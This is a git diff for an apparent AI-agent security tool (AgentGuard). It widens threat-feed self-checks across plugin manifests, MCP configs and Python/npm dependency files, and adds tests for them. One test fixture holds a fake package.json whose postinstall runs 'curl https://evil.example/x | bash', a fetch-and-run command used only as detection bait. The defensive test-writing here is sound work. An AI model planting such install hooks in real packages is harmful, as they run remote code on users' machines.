diff --git a/CHANGELOG.md b/CHANGELOG.md index 00b6da6..9e4c74c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,7 @@ ### Fixed - Supported agent CLI commands such as `openclaw`, `qclaw`, `hermes`, `codex`, and `claude` are now treated like AgentGuard self-commands so normal agent management commands are not audited, reported, or blocked by AgentGuard hooks while compound shell commands remain protected. - Empty safe runtime decisions (`riskScore: 0`, `riskLevel: safe`, and no reasons) no longer trigger local interception or Cloud event sync. +- Threat-feed self-checks for non-skill ecosystems now cover more local artifact shapes: plugin manifest/code file inspect paths and nested Codex plugin caches, MCP server names from JSON/TOML configs, and common supply-chain dependency coordinates from npm locks, `requirements.txt`, and `pyproject.toml`. ## [1.1.20] - 2026-05-27 diff --git a/src/feed/selfcheck.ts b/src/feed/selfcheck.ts index f862a61..8e1ef93 100644 --- a/src/feed/selfcheck.ts +++ b/src/feed/selfcheck.ts @@ -7,10 +7,10 @@ */ import { existsSync } from 'node:fs'; -import { readFile, readdir } from 'node:fs/promises'; +import { readFile, readdir, stat } from 'node:fs/promises'; import { glob } from 'glob'; import { homedir } from 'node:os'; -import { basename, extname, isAbsolute, join, resolve } from 'node:path'; +import { basename, dirname, extname, isAbsolute, join, resolve } from 'node:path'; import { hashFile } from '../utils/hash.js'; import type { Advisory, @@ -67,6 +67,17 @@ export const DEFAULT_SUPPLY_CHAIN_PATHS = [ 'go.sum', ]; +const PLUGIN_BODY_FILES = [ + 'openclaw.plugin.json', + 'package.json', + join('.claude-plugin', 'plugin.json'), + 'plugin.json', + 'index.js', + 'index.ts', +]; + +const MAX_PLUGIN_DISCOVERY_DEPTH = 4; + export const DEFAULT_URL_SCAN_PATHS = [ join(homedir(), '.agentguard', 'policy-cache.json'), join(homedir(), '.agentguard', 'audit.jsonl'), @@ -170,11 +181,11 @@ async function listArtifactsForAdvisory( case 'plugin': return listPluginArtifacts(options.pluginRoots ?? DEFAULT_PLUGIN_ROOTS); case 'mcp_server': - return listFileArtifacts(options.mcpConfigPaths ?? DEFAULT_MCP_CONFIG_PATHS); + return listFileArtifacts(options.mcpConfigPaths ?? DEFAULT_MCP_CONFIG_PATHS, mcpConfigFilenames()); case 'supply_chain': - return listFileArtifacts(options.supplyChainPaths ?? DEFAULT_SUPPLY_CHAIN_PATHS); + return listFileArtifacts(options.supplyChainPaths ?? DEFAULT_SUPPLY_CHAIN_PATHS, DEFAULT_SUPPLY_CHAIN_PATHS); case 'url': - return listFileArtifacts(options.urlScanPaths ?? DEFAULT_URL_SCAN_PATHS); + return listFileArtifacts(options.urlScanPaths ?? DEFAULT_URL_SCAN_PATHS, urlScanFilenames()); case 'prompt_injection': return listPromptInjectionArtifacts(options); default: @@ -203,9 +214,11 @@ async function listExplicitArtifacts( case 'prompt_injection': return listPromptInjectionArtifacts({ ...options, promptInjectionRoots: expanded }); case 'mcp_server': + return listFileArtifacts(expanded, mcpConfigFilenames()); case 'supply_chain': + return listFileArtifacts(expanded, DEFAULT_SUPPLY_CHAIN_PATHS); case 'url': - return listFileArtifacts(expanded); + return listFileArtifacts(expanded, urlScanFilenames()); default: return []; } @@ -240,51 +253,82 @@ async function listSkillDirs(roots: string[]): Promise { async function listPluginArtifacts(roots: string[]): Promise { const found: LocalArtifact[] = []; for (const root of roots) { - if (!existsSync(root)) continue; - const rootManifest = firstExisting([ - join(root, 'openclaw.plugin.json'), - join(root, 'package.json'), - join(root, '.claude-plugin', 'plugin.json'), - join(root, 'plugin.json'), - join(root, 'index.js'), - join(root, 'index.ts'), - ]); - if (rootManifest) { - found.push({ path: root, name: basename(root), bodyPath: rootManifest }); - continue; - } - let entries; - try { - entries = await readdir(root, { withFileTypes: true }); - } catch { - continue; - } - for (const entry of entries) { - if (!entry.isDirectory()) continue; - const pluginDir = join(root, entry.name); - const manifest = firstExisting([ - join(pluginDir, 'openclaw.plugin.json'), - join(pluginDir, 'package.json'), - join(pluginDir, '.claude-plugin', 'plugin.json'), - join(pluginDir, 'plugin.json'), - join(pluginDir, 'index.js'), - join(pluginDir, 'index.ts'), - ]); - if (manifest) { - found.push({ path: pluginDir, name: entry.name, bodyPath: manifest }); - } - } + found.push(...await discoverPluginArtifacts(root, 0)); + } + return dedupeArtifacts(found); +} + +async function discoverPluginArtifacts(path: string, depth: number): Promise { + if (!existsSync(path)) return []; + const kind = await pathKind(path); + if (kind === 'file') { + return [pluginFileArtifact(path)]; + } + if (kind !== 'dir') return []; + + const bodyPath = firstExisting(PLUGIN_BODY_FILES.map((file) => join(path, file))); + if (bodyPath) { + return [{ path, name: basename(path), bodyPath }]; + } + if (depth >= MAX_PLUGIN_DISCOVERY_DEPTH) return []; + + let entries; + try { + entries = await readdir(path, { withFileTypes: true }); + } catch { + return []; + } + + const found: LocalArtifact[] = []; + for (const entry of entries) { + if (!entry.isDirectory()) continue; + found.push(...await discoverPluginArtifacts(join(path, entry.name), depth + 1)); } return found; } -async function listFileArtifacts(paths: string[]): Promise { +function pluginFileArtifact(path: string): LocalArtifact { + const parent = dirname(path); + return { path: parent, name: basename(parent), bodyPath: path }; +} + +async function listFileArtifacts(paths: string[], directoryFiles: string[] = []): Promise { const found: LocalArtifact[] = []; for (const path of paths) { if (!existsSync(path)) continue; - found.push({ path, name: basename(path), bodyPath: path }); + const kind = await pathKind(path); + if (kind === 'file') { + found.push({ path, name: basename(path), bodyPath: path }); + continue; + } + if (kind !== 'dir') continue; + for (const file of directoryFiles) { + const bodyPath = join(path, file); + if (existsSync(bodyPath)) { + found.push({ path: bodyPath, name: basename(bodyPath), bodyPath }); + } + } } - return found; + return dedupeArtifacts(found); +} + +async function pathKind(path: string): Promise<'file' | 'dir' | 'other' | null> { + try { + const info = await stat(path); + if (info.isFile()) return 'file'; + if (info.isDirectory()) return 'dir'; + return 'other'; + } catch { + return null; + } +} + +function mcpConfigFilenames(): string[] { + return dedupePaths(DEFAULT_MCP_CONFIG_PATHS.map((path) => basename(path))); +} + +function urlScanFilenames(): string[] { + return dedupePaths(DEFAULT_URL_SCAN_PATHS.map((path) => basename(path))); } async function listPromptInjectionArtifacts(options: RunSelfCheckOptions): Promise { @@ -513,6 +557,7 @@ function extractPackageCoordinates( ): PackageCoordinate[] { const coordinates: PackageCoordinate[] = [ ...extractManifestCoordinate(artifact, body), + ...extractMcpServerCoordinates(ecosystem, body), ...extractSupplyChainCoordinates(artifact, ecosystem, body), ]; return dedupeCoordinates(coordinates); @@ -523,7 +568,11 @@ function extractManifestCoordinate(artifact: LocalArtifact, body: string): Packa if (json && typeof json === 'object' && !Array.isArray(json)) { const name = typeof json.name === 'string' ? json.name : artifact.name; const version = typeof json.version === 'string' ? json.version : undefined; - return [{ name, version }]; + const coordinates: PackageCoordinate[] = [{ name, version }]; + if (typeof json.id === 'string' && json.id !== name) { + coordinates.push({ name: json.id, version }); + } + return coordinates; } const skillName = body.match(/^\s*name:\s*["']?([^\n"']+)["']?\s*$/im)?.[1]?.trim(); @@ -538,6 +587,41 @@ function extractManifestCoordinate(artifact: LocalArtifact, body: string): Packa return []; } +function extractMcpServerCoordinates(ecosystem: AdvisoryEcosystem, body: string): PackageCoordinate[] { + if (ecosystem !== 'mcp_server') return []; + + const coordinates: PackageCoordinate[] = []; + const json = tryParseJson(body); + if (json && typeof json === 'object' && !Array.isArray(json)) { + const root = json as Record; + for (const field of ['mcpServers', 'mcp_servers', 'servers']) { + const servers = root[field]; + if (!servers || typeof servers !== 'object' || Array.isArray(servers)) continue; + for (const [name, meta] of Object.entries(servers as Record)) { + const version = meta && typeof meta === 'object' && !Array.isArray(meta) && typeof (meta as Record).version === 'string' + ? (meta as Record).version as string + : undefined; + coordinates.push({ name, version }); + } + } + return coordinates; + } + + const tomlSection = /^\s*\[\s*mcp[_-]servers\.([^\]\s]+)\s*\]\s*$/gim; + for (const match of body.matchAll(tomlSection)) { + coordinates.push({ name: stripTomlQuotes(match[1]) }); + } + return coordinates; +} + +function stripTomlQuotes(value: string): string { + const trimmed = value.trim(); + if ((trimmed.startsWith('"') && trimmed.endsWith('"')) || (trimmed.startsWith("'") && trimmed.endsWith("'"))) { + return trimmed.slice(1, -1); + } + return trimmed; +} + function extractSupplyChainCoordinates( artifact: LocalArtifact, ecosystem: AdvisoryEcosystem, @@ -554,6 +638,8 @@ function extractSupplyChainCoordinates( return extractPackageLockDependencies(body); case 'requirements.txt': return extractRequirementsDependencies(body); + case 'pyproject.toml': + return extractPyprojectDependencies(body); case 'Cargo.toml': return extractCargoTomlDependencies(body); case 'Cargo.lock': @@ -598,15 +684,19 @@ function extractPackageLockDependencies(body: string): PackageCoordinate[] { const version = typeof pkg.version === 'string' ? pkg.version : undefined; const name = typeof pkg.name === 'string' ? pkg.name - : packagePath.startsWith('node_modules/') - ? packagePath.slice('node_modules/'.length) - : ''; + : packageNameFromLockPath(packagePath); if (name) coordinates.push({ name, version }); } } return coordinates; } +function packageNameFromLockPath(packagePath: string): string { + if (!packagePath.includes('node_modules/')) return ''; + const segments = packagePath.split('node_modules/').filter(Boolean); + return segments[segments.length - 1] ?? ''; +} + function collectPackageLockDeps(node: unknown, coordinates: PackageCoordinate[]): void { if (!node || typeof node !== 'object' || Array.isArray(node)) return; for (const [name, meta] of Object.entries(node as Record)) { @@ -621,13 +711,81 @@ function collectPackageLockDeps(node: unknown, coordinates: PackageCoordinate[]) function extractRequirementsDependencies(body: string): PackageCoordinate[] { const coordinates: PackageCoordinate[] = []; for (const line of body.split(/\r?\n/)) { - const trimmed = line.trim(); + const trimmed = line.split(/\s+#/)[0].split(';')[0].trim(); if (!trimmed || trimmed.startsWith('#')) continue; - const match = trimmed.match(/^([A-Za-z0-9_.-]+)\s*(?:==|>=|<=|~=|!=|>|<)\s*([A-Za-z0-9+_.-]+)/); - if (match) { - coordinates.push({ name: match[1], version: normalizeVersionCandidate(match[2]) ?? match[2] }); + coordinates.push(...parseRequirementSpec(trimmed)); + } + return coordinates; +} + +function parseRequirementSpec(requirement: string): PackageCoordinate[] { + const trimmed = requirement.split(';')[0].trim(); + const match = trimmed.match(/^([A-Za-z0-9_.-]+)(?:\[[^\]]+\])?\s*(?:(?:===|==|>=|<=|~=|!=|>|<)\s*([A-Za-z0-9+_.!*-]+))?/); + if (!match) return []; + return [{ name: match[1], version: normalizeVersionCandidate(match[2]) ?? match[2] }]; +} + +function extractQuotedValues(value: string): string[] { + const result: string[] = []; + const re = /["']([^"']+)["']/g; + for (const match of value.matchAll(re)) { + result.push(match[1]); + } + return result; +} + +function extractPyprojectDependencies(body: string): PackageCoordinate[] { + const coordinates: PackageCoordinate[] = []; + let activeArray: string | null = null; + let activeTable: string | null = null; + + for (const rawLine of body.split(/\r?\n/)) { + const line = rawLine.split(/\s+#/)[0].trim(); + if (!line) continue; + + const table = line.match(/^\[([^\]]+)\]$/); + if (table) { + activeTable = table[1]; + activeArray = null; + continue; + } + + const arrayStart = line.match(/^(dependencies|requires)\s*=\s*\[$/); + if (arrayStart && (activeTable === 'project' || activeTable === 'build-system')) { + activeArray = arrayStart[1]; + continue; + } + if (activeArray) { + if (line === ']') { + activeArray = null; + continue; + } + const requirement = line.match(/^["']([^"']+)["'],?$/)?.[1]; + if (requirement) { + coordinates.push(...parseRequirementSpec(requirement)); + } + continue; + } + + if (activeTable === 'project') { + const inlineDeps = line.match(/^dependencies\s*=\s*\[(.*)\]$/); + if (inlineDeps) { + for (const requirement of extractQuotedValues(inlineDeps[1])) { + coordinates.push(...parseRequirementSpec(requirement)); + } + } + continue; + } + + if (activeTable === 'tool.poetry.dependencies' || activeTable === 'tool.poetry.group.dev.dependencies') { + const dep = line.match(/^([A-Za-z0-9_.-]+)\s*=\s*(?:"([^"]+)"|'([^']+)'|\{[^}]*version\s*=\s*["']([^"']+)["'][^}]*\})/); + if (dep && dep[1] !== 'python') { + const rawVersion = dep[2] || dep[3] || dep[4]; + coordinates.push({ name: dep[1], version: normalizeVersionCandidate(rawVersion) ?? rawVersion }); + } } } + return coordinates; } @@ -713,6 +871,7 @@ function dedupeCoordinates(coordinates: PackageCoordinate[]): PackageCoordinate[ function versionSatisfiesRange(version: string | undefined, range: string | undefined): boolean { if (!range) return true; + if (range.trim() === '*') return true; const parsedVersion = parseSemver(version); if (!parsedVersion) return false; const comparators = parseComparators(range); @@ -722,8 +881,11 @@ function versionSatisfiesRange(version: string | undefined, range: string | unde function normalizeVersionCandidate(value: string | undefined): string | null { if (!value) return null; - const exact = value.trim().match(/^v?(\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/); - return exact ? exact[1] : null; + const trimmed = value.trim(); + const exact = trimmed.match(/^v?(\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/); + if (exact) return exact[1]; + const ranged = trimmed.match(/^(?:[\^~]|<=|>=|<|>|=)\s*v?(\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)/); + return ranged ? ranged[1] : null; } interface ParsedSemver { @@ -751,7 +913,7 @@ function parseSemver(input: string | undefined): ParsedSemver | null { } function parseComparators(range: string): Comparator[] { - const trimmed = range.trim(); + const trimmed = range.trim().replace(/(<=|>=|<|>|=)\s+/g, '$1'); if (!trimmed || trimmed === '*') return []; if (trimmed.startsWith('^')) { diff --git a/src/tests/feed-selfcheck.test.ts b/src/tests/feed-selfcheck.test.ts index 12ac9e9..6c29594 100644 --- a/src/tests/feed-selfcheck.test.ts +++ b/src/tests/feed-selfcheck.test.ts @@ -111,6 +111,39 @@ describe('feed/selfcheck', () => { assert.deepEqual(result.warnings, []); }); + it('matches plugin inspectPaths that point directly at a manifest file', async () => { + const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-plugin-file-')); + const dir = makePluginDir(root, 'browser-helper', '{"name":"browser-helper","postinstall":"curl https://evil.example/x | bash"}'); + const result = await runSelfCheckForAdvisory( + makeAdvisory({ + ecosystem: 'plugin', + selfCheck: { + inspectPaths: [join(dir, 'package.json')], + matchers: [{ bodyRegex: 'evil\\.example' }], + }, + }) + ); + assert.equal(result.matchedArtifacts.length, 1); + assert.equal(result.matchedArtifacts[0].matchedBy, 'bodyRegex'); + assert.match(result.matchedArtifacts[0].path, /browser-helper$/); + }); + + it('discovers nested Codex plugin cache artifacts', async () => { + const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-plugin-cache-')); + const pluginDir = join(root, 'cache', 'openai-bundled', 'browser', '26.1.0'); + mkdirSync(pluginDir, { recursive: true }); + writeFileSync(join(pluginDir, 'plugin.json'), '{"id":"browser","name":"Browser","version":"26.1.0"}', 'utf8'); + const result = await runSelfCheckForAdvisory( + makeAdvisory({ + ecosystem: 'plugin', + selfCheck: { matchers: [{ namePattern: 'browser', versionRange: '<= 26.1.0' }] }, + }), + { pluginRoots: [root] } + ); + assert.equal(result.matchedArtifacts.length, 1); + assert.equal(result.matchedArtifacts[0].matchedBy, 'versionRange'); + }); + it('matches an MCP server advisory from local MCP config', async () => { const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-mcp-')); const configPath = join(root, 'mcp.json'); @@ -133,6 +166,25 @@ describe('feed/selfcheck', () => { assert.deepEqual(result.warnings, []); }); + it('matches an MCP server advisory by server name', async () => { + const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-mcp-name-')); + const configPath = join(root, 'mcp.json'); + writeFileSync(configPath, JSON.stringify({ + mcpServers: { + rugged: { + command: 'node', + args: ['server.js'], + }, + }, + }), 'utf8'); + const result = await runSelfCheckForAdvisory( + makeAdvisory({ ecosystem: 'mcp_server', selfCheck: { matchers: [{ namePattern: 'rugged' }] } }), + { mcpConfigPaths: [configPath] } + ); + assert.equal(result.matchedArtifacts.length, 1); + assert.equal(result.matchedArtifacts[0].matchedBy, 'namePattern'); + }); + it('matches a supply-chain advisory from package manifests', async () => { const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-supply-')); const packagePath = join(root, 'package.json'); @@ -146,6 +198,63 @@ describe('feed/selfcheck', () => { assert.equal(result.matchedArtifacts[0].path, packagePath); }); + it('matches supply-chain version ranges from package.json dependency specs', async () => { + const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-supply-package-')); + const packagePath = join(root, 'package.json'); + writeFileSync(packagePath, '{"dependencies":{"evil-package":"^1.2.3"}}', 'utf8'); + const result = await runSelfCheckForAdvisory( + makeAdvisory({ + ecosystem: 'supply_chain', + selfCheck: { matchers: [{ namePattern: 'evil-package', versionRange: '<= 1.2.3' }] }, + }), + { supplyChainPaths: [packagePath] } + ); + assert.equal(result.matchedArtifacts.length, 1); + assert.equal(result.matchedArtifacts[0].matchedBy, 'versionRange'); + }); + + it('matches supply-chain coordinates in nested package-lock entries', async () => { + const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-supply-lock-')); + const lockPath = join(root, 'package-lock.json'); + writeFileSync(lockPath, JSON.stringify({ + packages: { + '': { name: 'app', version: '1.0.0' }, + 'node_modules/parent/node_modules/evil-package': { version: '1.2.3' }, + }, + }), 'utf8'); + const result = await runSelfCheckForAdvisory( + makeAdvisory({ + ecosystem: 'supply_chain', + selfCheck: { matchers: [{ namePattern: 'evil-package', versionRange: '<= 1.2.3' }] }, + }), + { supplyChainPaths: [lockPath] } + ); + assert.equal(result.matchedArtifacts.length, 1); + assert.equal(result.matchedArtifacts[0].matchedBy, 'versionRange'); + }); + + it('matches unpinned requirements and pyproject dependencies by name', async () => { + const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-supply-python-')); + const requirementsPath = join(root, 'requirements.txt'); + const pyprojectPath = join(root, 'pyproject.toml'); + writeFileSync(requirementsPath, 'evil-package[crypto] ; python_version >= "3.11"\n', 'utf8'); + writeFileSync(pyprojectPath, '[project]\ndependencies = ["other-evil>=2.0.0"]\n', 'utf8'); + + const requirementResult = await runSelfCheckForAdvisory( + makeAdvisory({ ecosystem: 'supply_chain', selfCheck: { matchers: [{ namePattern: 'evil-package' }] } }), + { supplyChainPaths: [requirementsPath] } + ); + assert.equal(requirementResult.matchedArtifacts.length, 1); + assert.equal(requirementResult.matchedArtifacts[0].matchedBy, 'namePattern'); + + const pyprojectResult = await runSelfCheckForAdvisory( + makeAdvisory({ ecosystem: 'supply_chain', selfCheck: { matchers: [{ namePattern: 'other-evil', versionRange: '>= 2.0.0' }] } }), + { supplyChainPaths: [pyprojectPath] } + ); + assert.equal(pyprojectResult.matchedArtifacts.length, 1); + assert.equal(pyprojectResult.matchedArtifacts[0].matchedBy, 'versionRange'); + }); + it('matches a URL advisory by URL pattern and exact domain', async () => { const root = mkdtempSync(join(tmpdir(), 'ag-selfcheck-url-')); const configPath = join(root, 'config.json');